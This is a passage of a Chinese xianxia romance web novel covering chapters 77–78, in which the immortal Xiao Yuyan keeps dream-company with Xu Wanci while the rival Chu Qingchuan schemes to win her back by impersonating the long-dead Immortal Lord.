所有的一切,都在叫嚣着让他靠近她,然后困住她。 让她的眼中,只有现在的他。 他周身的灵气凝固到出现了冰冷彻骨的寒气,却被他牢牢禁锢,没有外泄分毫。 萧玉衍指尖紧绷到了极点。 最终,他身边的灵气不受控制一般朝着前方倾泻而去,最终却只是如同清风一般,拂过了许晚辞鬓边的碎发,未曾让她感受到一丝压迫。 他静静地看着她俯身采莲时认真专注的神情,周身的灵气逐渐收拢: 只要……能见到她就好。 萧玉衍视线扫过满池的静玉莲,看着那数以百计的莲子,右手微抬,浅色的灵气在指尖环绕,最后却又消散于风中。 下一刻,他安静地走入了莲池之中,池中连一丝涟漪都未曾显现。 他并未使用灵气,而是和许晚辞一般,一点一点的剥出莲心上的莲子。 即使是从未做过的事情,萧玉衍的动作却依旧带着行云流水一般的闲适优雅。 他的指尖点过莲心,一粒粒的莲子落在他的掌心,然后被他小心地装入用灵气编制而成的储物袋中。 萧玉衍抬眸看向不远处的身影,神色安然: 只要她在身边,好像他无论做什么,都只会觉得欢喜。 就连心中那从未停止叫嚣的欲望,此刻都仿佛都安静了些许。 许晚辞在萧玉衍进入莲池的那一瞬,便有所察觉。 可是她依旧没有什么反应,只是如同先前一般,安静地采着莲子。 梦境之中的一切,太容易让人沉迷。 纵然是自诩冷静的她,在察觉到失控的那一瞬,最先想到的,也是远离。 所以,在这一次的梦境中,她才没有去落玉峰。 因为她知晓,他一定在那里。 可是她没有想到,他居然会来到这样一个偏僻的所在。 在梦中,以他的身份,这一片的三品静玉莲,怕是连看都不值得他多看一眼。 她更没有想到,他会同她一般,与她一同采了两个时辰的莲子。 没有出声,也没有使用灵气。 他就这样如同尘世中的万千寻常修士一般,安静地完成着一个这样普通枯燥的任务。 他做的这一切,只能是…… 因为她。 许晚辞采摘莲子的动作倏地停了下来。 若是他高高在上的使用灵力帮助她完成任务;若是他动用身份,轻描淡写的替她扫清任务…… 那她心中根本不会有太大波动。 因为那太过轻易,轻易到她现实中身边的任何一个人,都能做到。 可…… 他只是,陪着她。 只要她不出声,他就能陪着她直到梦境结束。 意识到这一点,许晚辞终于抬起了头。 正巧看到了萧玉衍采下最后一枚莲子的模样。 月白色的衣袖拂过浅红的莲花花瓣,下一瞬,他修长如玉的手中,多了一枚晶莹圆润的莲子。 他好像是在做什么重要至极的事情一般,把手中的莲子小心地放入一旁的储物袋中,目光专注而认真。 这一刻,曾经不染纤尘,万人敬仰的仙尊,周身仿佛沾染了凡尘的气息。 许晚辞怔愣地看着这一幕。 曾经她不想离开梦境,是因为他贴合她想象中让着自己心动的模样,一个强大温柔且事事以她为先的清衍仙尊。 可现在…… 看着他微微蹙眉,数着储物袋中莲子的模样,许晚辞的视线久久未曾移动。 这一瞬间,她心跳缓慢到仿佛周围的时间停滞了一般。 她如此清晰的认识到: 她的心跳,只是因为他。 无关她所有的想象。 许晚辞轻轻呼出一口气: 若是她现在抽身离开,会后悔么? 如果梦境从这一刻终止,她会后悔么? 在问出这个问题的那一瞬,她的心中,已经有了回答。 算了。 她妥协地想: 只是一个注定会消散的梦境。 就算她沉沦,又能有多久的时间? 她会努力,让自己不要失控,但是,她也不想转身离去。 莲池之中,许晚辞走在池面之上,步伐缓慢但却坚定地朝着身前人走去。 萧玉衍看着她一步步走来的身影,呼吸与心跳骤然混乱。 这一刻,他心中所有欲望的低语都被压制,周身的灵气也柔软了下来。 他把手中的储物袋递到了她身前: “这些莲子,够么?” 许晚辞接过储物袋,声音仿佛是在叹息,却偏偏带着清浅的笑意: “刚刚好。” 萧玉衍察觉到了她似乎亲近了些许的声音,身体僵硬了一瞬。 他几乎是下意识开口: “那晚晚还有……” 什么想要的么? 他还未曾说完,许晚辞好像就猜到了他的话,她摇了摇头道: “没有。” 说完后,看着身前人仿佛失落了些许的目光,她眨了眨眼睛: “下次见面,要不要换一个问题?” “比如‘你有没有想我?’” “有。” 萧玉衍认真地看着她,没有思考就给出了回答。 许晚辞听着他的声音,双手下意识想要攥紧,却又在意识到的那一刻逼自己放开。 她移开看向他的视线,看着满池的静玉莲,认命一般道: “真巧啊。” 她没有正面回答,却已经默认。 好像萧玉衍,从来都没有对她设防。 她再一次清晰的听到了他的心跳声。 在他心跳加快的那一瞬间,他身上落雪般的寒气倏地加深,清清冷冷却偏偏又带着初春霜雪未化的温柔,让人想要沉醉其中。 许晚辞蓦然出声: “萧玉衍。” 感受着周围已经将她包围的气息,她抬起头认真道: “自从相遇以来,你帮我了我这么多。” “这一次,又帮助我提前许久完成了任务。” 她一边说着,一边将手中的灵气聚集起来: “我身无长物,就送你一朵莲花吧。” 以灵气化物相赠,这已经是一种她的默认。 哪怕是在梦境之中,她也不习惯一昧索取。 萧玉衍听到她的话,怔愣了一瞬,就见到她手中用灵气捏起了一朵莲花。 或许是因为还不熟练,她的动作磕磕绊绊,灵气还未完全凝成,便散开了数次。 他身上的灵气涌动,下意识想要帮她。 可是,看着她认真专注的模样,他只是伸出双手,小心地托在她捏了一半的莲花之下。 他温柔地看着她,静谧之中,他心中的声音,似乎有了卷土而来的趋势。 半盏茶后,许晚辞看着手中灵气捏得歪歪扭扭的静玉莲,眼中带上了几分无奈: 纵然她对灵气的掌控力很强,可现在的修为终究太低。 就在她想打散静玉莲再试一次时,一双莹润如玉、指节修长的手小心地将它围住。 萧玉衍的灵气将这一株静玉莲护得密不透风: “我很喜欢。” 许晚辞看着在他双手映衬下,过分简陋以至于有些扭曲的静玉莲,不死心地伸出手: “这个不好看。” 萧玉衍避开了她的动作,第一次反驳了她的话: “好看。” 许晚辞看着他护住静玉莲,目光甚至带上了几分警惕的人,忽然感觉他鲜活了许多。 她妥协的叹了一口气: “那好。” 不过,她依旧不死心道: “等我以后修为提高了,再给你捏一株世界上最美的莲花。” 她笑得清澈动人,仿佛心中的后半句话根本不存在一般: 假如梦境还能继续到那一天。 萧玉衍手中的动作微不可查的一僵。 许晚辞口中的‘以后’二字,如同一把利刃,将他刺得鲜血淋漓。 他们之间的……以后。 是‘他’与她的以后,是与他无关的以后。 这一瞬间,被他强行压制的欲望,更加凶猛的反扑而来。 他让自己强行忽略的一切,全都涌了上来。 如果只是他,只有他该有多好。 没有百年前的‘他’,只有如今的他们。 他微微垂眸,眼中的暗色一点点上涌。 “除了这一朵静玉莲……” 许晚辞看着萧玉衍手中的莲花,实在没有忍住,学着他的语气继续道: “你还有什么想要的么?” 她想了想自己身上连灵宝都没有一个的模样,咳嗽了一声道: “只要我能做到。” 萧玉衍看着她灵动洒脱,仿佛愿意实现他一切所愿的模样,忽然听到了自己理智破碎的声音。 他周身的灵气放肆的将她围住,清冷的气息将她一点点环绕。 他看到自己的灵气缠绵的落在她的唇畔、颈侧、腰间。 他听到了自己温柔的诱哄: “晚晚,不要再去落玉峰了,好不好?” “我不喜欢那里。” 是她先给了他放肆的权力。 只要她不去落玉峰,她与曾经的‘他’,就永远不会有交集。 只是他,只有他。 他听到了许晚辞虽然不解,但依旧认真的应答: “好。” 第77章 若是让许晚辞继续以为他是清衍仙尊转世…… 天际之中, 残存的混沌与天道之力看着再一次从漩涡中归来的身影,都安静的蛰伏在原地。 纵然知道这个身影会比先前虚弱,它们依旧老老实实地缩在角落之中,不敢擅动。 不远处, 那一株化雨昙依旧张扬的盛放。 萧玉衍的目光扫过袖口处隐隐作现的静玉莲莲纹, 眼中的情绪是不想清醒的沉沦。 在跨越百年的时空漩涡中, 许晚辞用灵气捏成的静玉莲, 在他灵气的保护之下, 最终落在了他的袖口, 化作了一道莲纹。 这次回到过去, 对他的影响依旧很大,可是他身边的气息却是前所未有的平静。 因为,他听到了她的回答。 她说‘好’。 他所有的欲望, 都在她的这一句回答中, 得到了纵容。 他知晓她的言出必行, 也知道她从不轻易许诺。 所以,在她回答的那一瞬,他倏地意识到: 原来一直以来, 都只有他。 让她刻骨铭心,不顾一切的人,从来都不是百年前的‘他’, 而是现在的他。 欲望在心中发出一声满足的喟叹。 萧玉衍看着下界之中的许晚辞, 眼中带上了如同落雪一般, 清浅而温柔的笑意。 虚无之中的那些存在,似乎察觉到了他的心情, 悄无声息地围了上来。 心中的声音,再次发出呓语, 勾动着他心中的欲望: “你看,她那么爱你。” “她等了你一百年,你忍心让她继续等待么?” 没有人会比萧玉衍自己,更清楚他想要什么,心中所有的声音,都源自于他的欲望: “只要你回到百年之前,把你们的过去填补完整,你就能真正成为她记忆中的那个人。” “你就能永远的出现在现在的她身边。” “你能够完整的拥有她,能够每日都听到她呼唤你的名字,能够每日都看到她的笑,能够与她一同看日升日落,花开花谢。” 这时,不远处的时空漩涡也逐渐向他靠近。 周围所有的一切,都在叫嚣引诱着他再次回到过去,陪在她身边。 人的欲望,永远都没有止境。 欲望得到满足的那一刻,会滋生更多的欲望。 萧玉衍双眸中的平静逐渐被暗色压制,手背也一点点绷紧。 可是,在目光扫过袖侧因为他情绪波动而浮现的静玉莲莲纹之后,他的手蓦然松了下来,手中的灵气也悄然消散。 百年前的时空漩涡牵扯太多,根本不可能被复制,哪怕他现在的强大,超过了虚无中的一切。 他每回到过去一次,它就会消散些许,直到某一天,彻底闭合。 就算他回到过去,又能再见她几次? 是不是他每一次的回溯,都会让她越陷越深,加重这百年之中的痛苦? 在理智压过欲望的那一刹那,他也终于发现: 让她痛苦百年的人,也是他。 也是如今的他。 萧玉衍看向下界之中许晚辞在幻颜树下舞剑的场景,目光是甘愿清醒的沉沦与愧疚。 他放任自己沦陷,却又克制住了所有靠近她的欲望。 他扬起唇角,笑得却近乎悲伤,与此同时,周围已经靠近的天道之力,根本来不及逃离,便被他周身的灵气裹挟着同化。 不只是他身边,整个虚无之中,所有残存的天道之力,都被他的灵气拖入他的身体,成为他重塑身体的一部分。 如同江河一般汇集?? 的天道之力涌入他的身体,让他的经脉瞬间便经历了百次的破碎与重组。 他却根本不在意身体的疼痛,也不在意心中那一瞬间涌起的盖过世间一切低语的声音。 这一刻,他对自己残忍到了极限。 他眼中不再是曾经的清冷淡漠,而是带上了摧毁一切的冰寒,只有在看向许晚辞时,他的目光才会柔和下来。 只有变得足够强大,他才能护住她。 才能看着她变得强大,得到她想要的一切。 总归,只要她在那里,他就永远都不会迷失方向。 下界中。 欢颜树下,许晚辞收起了手中的九霄剑。 她仿佛是在向自己证明着什么,从醒来后,便一直练剑,久久未停。 梦境之中的沉迷,不代表着梦境之外,她会受到影响。 就算她想要沉沦,梦境也在时刻提醒她,这只是一个梦境。 想起梦境最后那一刻,听到萧玉衍口中的‘所求’,她蓦然闭上了双眼,遮住了眼中所有的情绪。 他的‘所求’,正好对应了她在现实之中,编造的那个谎言。 真正的清衍仙尊,又怎么会……对她提出那样的要求? 一个毫无缘由,只有她才能察觉到不对的要求。 所以,在那一刻,她才会没有丝毫犹豫的回应。 只是…… 想起梦境中,萧玉衍在莲池之中认真地采摘莲子的模样,她的心跳,依旧有一瞬间的错乱。 那样的他,真实到让她不受控制的……心动。 或许也正是因为她自己知晓自己的失控,所以潜意识才会逼她认清梦境。 许晚辞感受着体内又小了些许的灵团,不知是想到了什么,长长的睫毛微微颤动: 总归,也不过只是一场已经既定了次数的梦境。 等到梦境真正结束,她自然就能抽身离去。 她睁开眼睛,眼中只剩下了一片平静。 她一只手拂过手腕上的九霄剑,回归理智的她,忽然察觉,她好像已经很久没有听到男主楚青川的消息了。 想起原著中楚青川要什么就能得到什么的气运,她缓缓呼出一口气: 离开太清宗之前,他的修为就已经接近大乘。 以他的气运,想必这一段时日中,所得甚多,恐怕修为也不会弱于她。 她如今的修为,只是大乘,还远远不够。 许晚辞周身灵气一动,九霄剑就再次出现在了她的手中: 楚青川的睚眦必报,她在看原著中就已经有所察觉。 从无相神石之后,他们之间的关系,便只能敌对。 她必须打破原著的桎梏,超越楚青川,成功飞升,才能够真正护住自己。 才能不用提心吊胆,不用担心谎言被戳穿,也不用担心原著的命运,平安自由的活着。 有了渡劫之地的仙息,她未必不能与楚青川有一争之力。 与许晚辞猜测的一致。 楚青川也成功晋升了大乘。 只是他晋升的过程,却堪称惨烈。 那一日,在白家家主有目的的吹捧和利诱之下,他为了证明自己气运之子的身份,狠下心来决定再探蚀魂密林。 他知晓密林对于修士有多危险,可他第一次去密林时,却并未受什么伤,就成功得到了至宝。 所以这一次,虽然他知晓白家主心存试探,却依旧选择答应。 白家主比江家主更狠厉,也更自私,他必须让他看到他的气运,看到他的作用,这样,他才有可能得到白家的助力。 只是他没有想到,这一次的密林之行,居然如此惊险。 他历经三次生死一线的危机,身受重伤,甚至伤及了经脉与丹田,最后才在密林中的一处山洞中,找到了突破化神的至宝。 那时他身上伤势太重,只能在山洞中与至宝融合,最终才勉强晋升大乘。 一个不完美,甚至有可能永远都无法继续突破的大乘,连雷劫都不曾引发。 想到这里,楚青川蓦然攥紧了双手。 他自从修炼以来,一直顺风顺水,就算受伤,也会在下一刻找到治愈自己甚至能让修为更上一层楼的灵宝。 从来没有像这段时日一般,狼狈到几次三番差点丧命,对修为也产生了影响。 还有白家。 这一次明明是白家提出的让他来蚀魂密林,却偏偏没有给他一点助力。 只有钟情于他的白挽衣,不顾白家主阻拦,要与他一同前来密林。 想起痴恋于他的白挽衣,他面色终于缓和了些许。 只是…… 想起他当时因为密林太过危险,所以大方地留给白挽衣的那些护身灵宝,眼中不由地闪过一丝暗色: 若是有那些灵宝在,他的伤势也不会如此严重。 就在这时,一个听起来千娇百媚,似有无限深情的声音蓦然响起: “青川哥哥!” 楚青川一抬头,就看到了不远处,处在密林边缘的身影。 白挽衣身上的白色衣裙上满是鲜血与泥土的痕迹,露出来的手背、脖颈上也有着一道道血痕。 她向来注重外貌,可此刻脸上却带着脏污,根本不曾擦拭。 她如秋水一般的双眸中,满是担忧与心疼: “青川哥哥,你没有受伤吧?” 楚青川看到白挽衣后,赶紧调整好自己的表情,脸上的担忧与她如出一辙: “我无事。” “衣儿,你呢?可有受伤?” 白挽衣闻言有些慌乱地藏起了自己的手,她低着头小声道: “我也无事。” 楚青川拉起她的手,纵然她手上不过只是一些外伤,他依旧一脸心疼: “这也叫无事?” 白挽衣抬起头,声音娇憨: “只是一些小伤而已,青川哥哥不必担忧。” 说到这里,她像是想起了什么,一脸崇拜道:“多亏了青川哥哥送给衣儿的那些灵宝,若不是它们,衣儿怕是刚与青川哥哥分开,便已经遭遇了不测。” “可惜,衣儿修为实在太低,在密林之中,只能留住那件对衣儿而言最重要的宝物。” 听着她的话,楚青川面色扭曲了一瞬: 他给白挽衣了八件修仙界都难得一见灵宝,如今只剩一件了? 然后,他就见到身前人小心翼翼地从衣袖中,拿出了一枚四品发簪。 楚青川声音带上了一丝僵硬: “这就是衣儿留下的那件最重要的灵宝?” 白挽衣认真地点了点头: “这是青川哥哥第一次见面时送我的发簪,见证了我们的初遇。” “这世上,不会再有任何灵宝能比它重要。” 楚青川所有的话,都被她这番言论给堵了回去。 他眉头微皱,心中涌上了一丝怀疑: 白家乃是修仙界三大世家之一,白挽衣又是白家主唯一的女儿,身上肯定有不少护身之宝。 在密林中,怎么她就恰好用掉了他送给她的所有灵宝? 他不受控制的想起了江秋宁,和她在一起时,她从未收过他任何灵宝,反倒是给了他许多助力。 可是如今的白挽衣…… 白挽衣好似根本没有察觉他的疑惑,她用手背擦了擦脸上的污痕,声音带着些埋怨: “都怪堂姐,她说要去历练,带走了我好多灵宝。” “我又因为闹着要来蚀魂密林惹怒了父亲,不然我才不会这样狼狈呢。” “丑死了。” 楚青川看着白挽衣气鼓鼓的模样,压下了心中的疑问: “哪里丑了,衣儿在我眼中美极了。” 白挽衣闻言终于笑了起来,她抬眸看向他,像是发现了什么,眼睛满是崇拜: “青川哥哥,你晋升大乘了!” “不到两百岁便晋升大乘,这种修炼速度,怕是在整个修仙界都当属前三了!” 她就好像根本没有察觉到他修为的虚浮一般,兴冲冲道: “就连前几日太清宗中晋升大乘的许晚辞,也比青川哥哥大上几岁呢!” 听着她的话,楚青川脸色瞬间冷了下来,他声音沙哑: “许晚辞也晋升大乘了?” “是啊。”白挽衣点了点头,“好像还引发了天地异象。” “不过比起青川哥哥来,她也算不得什么。” “最多只是运气好罢了。” 她看着楚青川沉默的样子,有些不解地问道: “青川哥哥,你怎么了?” 楚青川唇角的笑意带上了几分勉强。 他想起这几日中,在蚀魂密林中几次死里逃生的场景,心中不由得升起一个自己曾经不愿意相信的念头: 许晚辞的气运,好像确实比他强盛许多。 自从她发现他不是仙尊转世之后,他的气运便一落千丈,每一次与她争抢机缘,他从来都是失败的那一个。 如今和她分开之后,他更是差点死在密林中。 假如气运之子并不只有一个的话,那一切就都能解释了。 如今的许晚辞被修仙界各大宗门世家保护,他根本不可能伤到她。 可是,想起她以为他是仙尊转世时,对他一往情深,把一切灵宝全都献上的模样,他若有所思的眯起了眼睛: 若是让她继续以为他是仙尊转世…… 那样,她手中的一切机缘至宝,就都是他的了。 他如今气运受损,正是需要她气运助力的时候。 总归清衍仙尊已经死了百年,只要他表现出于仙尊相似的部分,谁敢说他与仙尊没有丝毫干系? 他手腕处的红痣,他修炼的功法,他的神器,都与仙尊关系甚笃。 更何况,他身上,还有能模仿仙尊气息的至宝。 若不是这个至宝,他也不可能当时比所有人都更早去到络龙城,去探查传言中即将出世的仙尊神器,还不被当时布置陷阱的魔将夜潇察觉。 想到这里,楚青川对着白挽衣深情款款道:“衣儿,如今我突破大乘,应该回宗门向师尊禀报。” “今日怕是不能同你一起回白家了。” 白挽衣闻言一脸不舍,但是她向来懂事,只是低下头,声音带着哭腔道: “没关系的,青川哥哥安心回太清宗吧。” 她抬起头,装出了一副活泼的模样: “正巧我此番回家,多向父亲寻一些灵宝,到时正好可以给青川哥哥巩固修为。” 楚青川看着她懂事的模样,笑着帮她擦去了脸侧的血痕: “衣儿,等我修得大道,一定会把修仙界最好的一切,都捧到你面前。” 白挽衣俏生生的点了点头。 看着楚青川离去的背影,她脸上的笑意带上了几分讽刺: 修成大道后? 真是比她都不要脸的许诺啊。 白挽衣看着前方密林,杏眼带上了几分杀伐果断的寒意: 白家需要的,可不是现在远逊于许晚辞的气运之子。 想起楚青川身上那虚浮的大乘气息,她嫌弃地撇了撇嘴: 她刚刚探查过了,他在密林中得到的至宝,已经用在了自己身上。 虽说利用至宝进阶到了大乘,却连雷劫都不曾引来。 还不知要砸多少宝贝,才能填补他身上的灵气亏空。 想起楚青川来到白家后,扫荡的那些白家的传世之宝,她眼中不由地带上了几分心疼: 白家可不是江家,舍得把那么多天材地宝用在一个不知真假的气运之子身上。 她扫过衣纹小空间中的八件灵宝,目光终于有了一丝满意: 总算是弥补了白家些许的损失。 至于楚青川…… 就让他回太清宗治伤吧。 他的气运虽然比不上许晚辞,却也比寻常修士好上许多,应该能从太清宗翻到不少治伤的灵宝。 等到他伤好得差不多后,她再去太清宗寻他。 第78章 从来不是他被锁链困住,而是他甘心被锁链困住 楚青川回到太清宗后, 再也没有感受到曾经众星捧月的待遇,所有的人,都对他冷漠异常。 宁孟澜看到他后,根本没有过问他的修为, 也没有关注他的伤势, 直接摆手让他退下。 至于宗门各位长老, 更是直接对他避而不见。 还有太清宗那些普通弟子, 不过是一群不曾结婴的废物, 居然也敢看不起他? 楚青川压着所有的怒气, 回到了自己的灵峰之上。 他看着自己光秃秃, 什么灵植都不剩的若虚峰,本就受伤的丹田又开始隐隐作痛。 在蚀魂密林,听到白挽衣的话后, 他根本还没来的及修复伤势, 就焦急地回到了太清宗。 没有想到, 这里没有一个人在意他的伤势。 想起宁孟澜对他的冷淡,他眼中满是暗色: 早知道就先回白家养伤了。 不过这也没什么。 等许晚辞再次爱上他,到时她的一切, 都会属于他,包括她身上的气运。 那个时候,莫说是他身上的伤势, 怕是他晋升渡劫, 也只是时间问题。 等到那个时候, 他一定要太清宗的这些人,付出代价。 归元殿中。 自从知晓楚青川回到太清宗后, 宁孟澜紧皱的眉心便一直都没有松开。 他早已经清楚了他的本性,也猜到他此行来者不善。 只是从来只有千日做贼, 哪有千日防贼的道理。 他站起身,眼中满是一宗之主的威严: 若是楚青川老老实实待在宗门也就罢了,若是他真的心有不轨,那就不要怪他不念师徒情分。 想到这里,宁孟澜一挥衣袖,给几位长老峰主发了一道通讯符。 在太清宗地界,只是一个弟子而已,又能掀起什么风浪? 楚青川一点都不知道自己已经成为了太清宗的重点关注对象。 他一边在若虚峰蛰伏,一边努力模仿着自己曾经看到的那一瞬仙尊虚影。 如今许晚辞被太清宗护得密不透风,他必须找到一个合适的、能够接近她的时机。 只要能见到她,那他就有了八成的把握。 楚青川根本就没有想过失败的可能。 魔尊对许晚辞使用魔域失败,是因为他想扭曲她的记忆,只要心志坚定,神识强大,她未必不能挣脱。 而他,只是想把自己伪装成她记忆中的那个人。 在很久之前,他还什么都不清楚的时候,就已经成功过一次。 如今他已经做足了准备。 迷乱心志的灵宝、与仙尊相似的灵气、还有他身上那些与仙尊有关的东西…… 以许晚辞对仙尊的执着,她怎么可能不乖乖上钩? 想到这里,楚青川眼中满是势在必得。 他感受着依旧未曾恢复的丹田,眼睛一点点眯了起来。 不过…… 接下来,他需要好好思考一下,曾经许晚辞和仙尊之间到底是如何相处的。 这样,他便能把成功骗过许晚辞的概率,提高到九成。 想起之前许晚辞对他情深不已时,他对她的态度,楚青川眼中带上了几分若有所思的阴冷: 他记得那个时候,他只觉得许晚辞是一个修为不高的内门弟子,天赋虽然尚可,但与他身边的人相比,也不过只能算作中上。 就算她手中有些灵宝,也远远比不上能给他带来助力的江家少主江秋宁。 所以,即使知道她对他的爱慕,他依旧只做不察。 他对她的态度,虽然还算温和,但是毕竟他们身份差距太大,他面对她时,会带着几分不自觉的高高在上。 可就是那个时候,是她对他最为痴迷的时刻,甚至为了他,不惜暗害他身边的江秋宁。 楚青川像是想清楚了什么,目光带着一丝嘲讽: 也是。 百年前,清衍仙尊与许晚辞之间可谓是云泥之别,他们之间的相处,怕也都是仙尊处于上位,居高临下的施舍着自己的喜欢。 真是可笑。 这样的感情,居然也能困住她百年。 楚青川垂眸看向自己左手手腕的那颗红痣,不知从什么时候起,这颗红痣黯淡了许多,如今已经成为了一种灰蒙蒙的暗红。 等到他取代许晚辞记忆中的仙尊后,他对她会比清衍仙尊对她更好。 那样,就算她有一天察觉到了他真正的身份,怕是也会舍不得离开他。 再抬起头时,他周身的气息忽然带上了几分寒意,眼中更是多了几分谁都不放在眼中的高傲。 另一边。 一直让人关注楚青川作为的宁孟澜听到百阵峰峰主的回报,眼中是根本反应不过来他到底说了什么的茫然: “你是说楚青川这几日,没有修炼,也没有养伤,而是……” “如同秦楼小倌一般,每日都钻研穿衣打扮,走路姿态,甚至……体香?” 楚青川与仙尊之间的差距实在太大,他的行为,连东施效颦都算不上,所以一时间根本就没有人往他想伪装成仙尊的方向想。 百阵峰峰主看着宁孟澜震惊的神色,面色扭曲地点了点头。 岂止啊,他还看到楚青川拿着笔,好像要往自己身上画什么。 真是伤风败俗,有辱门风! 宁孟澜过了几息,终于反应了过来,他像是想起了什么,咳嗽了一声道: “最近有不少修士来太清宗拜访。” “若是本宗主没记错,其中有不少……女尊者?” 之前楚青川背靠太清宗与江家,根本不必为灵宝担忧。 可是如今,他与江家决裂,又被宗门放弃,恐怕身上已经没有了什么天材地宝。 所以,才动了这种念头。 总归还是心性太差,所以只想着走捷径。 想到这里宁孟澜叹了一口气,他摆了摆手道: “继续让人盯着。” “只要他没有做危害宗门的事情,就不用管他。” * 楚青川毕竟身在太清宗中,想要见到许晚辞,虽然有些困难,但也并不是毫无办法。 在所有峰主长老们眼中,他如今身体还未恢复,根本不可能伤到如今已经大乘,还有无数法宝护体的许晚辞,所以并未太过警惕。 只要他真敢对许晚辞动手,在动手的那一瞬,他自己就先会被所有长老打成重伤。 不过他也并不担心,他这一次前来,根本不想伤害她。 他只是想见她一面,想让她……不再继续痛苦下去罢了。 楚青川看着前方许久未曾见过,看起来已经变得陌生的木门,周身的灵气一点点沉淀下来。 他如同所有的一切都没有发生一般,温润有礼地敲了敲身前的木门。 推开半掩的门,看着幻颜树下灵气充盈,周身沉淀着大乘气息的身影,他目光一动,随即强行压住了心中的嫉妒。 他一步步地朝着小院中走去,每走一步,身上清冷的寒香逐渐弥漫开来。 他看向院中人的目光,温柔体贴,却又好像带着一种高高在上的淡漠,让人看起来觉得莫名违和: “晚辞,好久不见。” 许晚辞收起手中的九霄剑,平静地看向已经来到她身前的人。 她扫过他身上虚浮的大乘修为,眼中依旧没有什么情绪波动。 她没有办法去改变一个人的气运,也没有办法阻止这个人获得机缘,她能做的,只有提升自己。 这是最有用,也是她最能掌控的方法。 所以,不论楚青川如今修为如何,她都没有必要太过在意。 楚青川看着许晚辞没有分毫波澜,连一丝在意都不曾有的目光,背在身后的左手蓦然攥紧。 又是这样的目光。 就好像他在她眼中,是一个不值得放在心上的陌生人。 他厌恶这样的目光,厌恶之余,还夹杂着自己都没有察觉到的复杂。 许晚辞与他争抢了太多次的机缘,他早已经将她当成了自己飞升路上的绊脚石。 从他踏上修炼之路的那一刻起,大道就重要到超过了所有的一切。 所以,他也就忘了曾经亲眼见到许晚辞含笑对自己用了断魂骨后,消失在漫天光芒中的震撼与……心动。 只是一瞬间,他便把心中所有混乱的情绪都压了下去。 他储物袋中的迷魂石被悄无声息的点燃。 迷魂石是极品宝物,能悄无声息的混乱他人认知,渡劫修士都无法察觉,即使许晚辞神识再强大,也不会察觉到不对。 只是它作用如此逆天,所受的限制自然也不会小。 迷魂石点燃之后,需要半炷香才能发挥作用,这段时间,他必须和许晚辞处在五米的距离之内。 等迷魂石全部点完之后,被混淆的认知,便会恢复正常。 所以,他只有半个月的时间。 想到这里,楚青川放下了背在身后的手,收窄的袖口处,一粒被笔点过的红痣,红得妖异,恰好显露在许晚辞的目光所及之处。 他身上的冷香也愈发浓厚,香气中带着一丝冰寒之气,却并不凌冽,只让人觉得怪异。 天际之中,混沌残破,天道溢散。 这几日,绝大多数的天道之力,都已经被萧玉衍吸干殆尽。 这些天道之力,化作真正属于他的灵气,融入他的身体与经脉,只为他所用。 只是这终究是修仙界中最为强大的力量,纵然他是这世间超越万物的存在,依旧没有办法在这短短几日内,将它们完全融合同化。 这些未曾融合的天道之力,游走在他的周身,每时每刻都在勾动他的欲望。 它们的每一次低语,都代表着他内心无法压制的渴求。 萧玉衍静静地站在那里,听着心底的声音,他眼中的暗色,越来越深。 可是,一条无形的灵气锁链贯穿了他的手腕,限制着他的行动,让他无法靠近时空漩涡。 锁链的另一端,却系在了一株微弱到随时都可能消散的化雨昙上。 只要他稍加动作,化雨昙便会随之消散。 所以,从始至终,萧玉衍都没有迈出一步。 他的心底,有的从来都不只是欲望,还有与欲望如影随行的爱与愧疚。 是因为心动,因为在意,所以产生的愧疚。 他知道,每回到过去一次,捆绑在她心上的锁链便多一道。 若是他现在停止,或许她对他的情感还不算太深,这百年,也就不会那样难熬。 而现在的他…… 萧玉衍看向自己依旧带着些许透明的手——如今的他,根本没有办法脱离虚无太久。 只要他身上还有一丝天道之力,这里就永远是他的囚牢。 他安静地站在原地,被欲望浸染到有些失神的双眼,在看向许晚辞时,竟然有了几分乖巧的意味。 只是,看着出现在她身边的楚青川,他漆黑的眸中有恶意一点点涌现: 一个卑劣的模仿者。 一个能陪在她身边的模仿者。 被点燃的迷魂石,无声无息的失去了所有的效果。 萧玉衍看着楚青川身上那被天道庇佑的气运,眼中终于有了其他人的存在: 这是,被天道偏爱的气运之子? 一个卑劣的小偷。 看向许晚辞后,他眼中终于带上了几分温度。 他迟缓地眨了眨眼睛: 为什么被天道偏爱的人,不是她? 想到自他苏醒后,许晚辞在魔界中所受的那些伤,他手中的灵力一点点汇聚。 所有人都看不到的地方,楚青川身上本就不多的气运,被清寒的灵气洗涤,一点点落在了他身前的许晚辞身上。 楚青川根本就不知道自己身上的气运已经被悄无声息的挪走。 他寒暄了许久,许晚辞除了一开始的点头示意后,再也没有了任何反应。 不管他如何不着痕迹的展示自己手腕上的红痣,不管他如何展现自己周身和仙尊相似的清冷之气,她都没有丝毫动容。 她难道没有察觉到他身上与仙尊相似的部分么? 看着许晚辞已经想要转身送客的样子,楚青川想起他曾经查到的消息,叹了一口气,声音仿佛是心疼,又仿佛是劝诫: “晚辞,我推算过你在外门生活的时间,你与仙尊真正相处的时间,最多也不过两栽。” “只不过两载而已,又怎么值得你记住百年?” 说到这里,他往前一步,情真意切道: “你我相处数十年,难道不比那两年更值得珍惜?” “更何况,那些时间除了带给你痛苦,还能带给你什么?” 他现在必须留下,他必须等迷魂石发挥作用。 他知晓,真正能让许晚辞做出回应的,只有清衍仙尊。 果然,听到他的话,她先前已经做出送客手势的右手蓦然停了下来。 许晚辞微微垂眸,遮住了眼中所有的思绪: 这是楚青川的试探? 是他发现了什么? 楚青川气运非常,谁也不清楚他会有什么机遇,发现什么异常。 不过,既然他能来找她询问,说明他大抵没有什么证据,只能是猜测。 原身在外门的时间并不算久,若是从得到墨霜圣兰后开始计算,想推测出她谎言中与清衍仙尊相识的时间,也并不算难。 但最多也只能推测出一个大概。 感受着外面时不时传来的探查一般的视线,许晚辞指尖微动: 她不能承认与仙尊相识的确切时间。 所有精确的时间地点,对她而言,都有可能成为一个被戳穿的漏洞。 在谎言开始的那一刻,她早已经习惯了所有人的质疑。 纵然这段时间她过得太过安逸,她依旧本能的做出了反应。 她平静地好像只是在陈述一个事实: “有些人,只要见一面就够了。” “已经足够铭记一生。” 这一刻,许晚辞身上的气息并不悲伤,她看着前方,目光温柔而满足: “那不是痛苦。” “从来不是。” 天际之中,萧玉衍手腕上的锁链瞬间消散,另一端的化雨昙,却未被伤到分毫,依旧随风摇摆,蓝得夺目。 从来不是他被锁链困住,而是他甘心被锁链困住。 他手腕上被贯穿的空洞,也开始愈合。 另一边的楚青川听到许晚辞的回答,目光阴沉了一瞬。 随即,他想到接下来要做的事情,神色放缓。 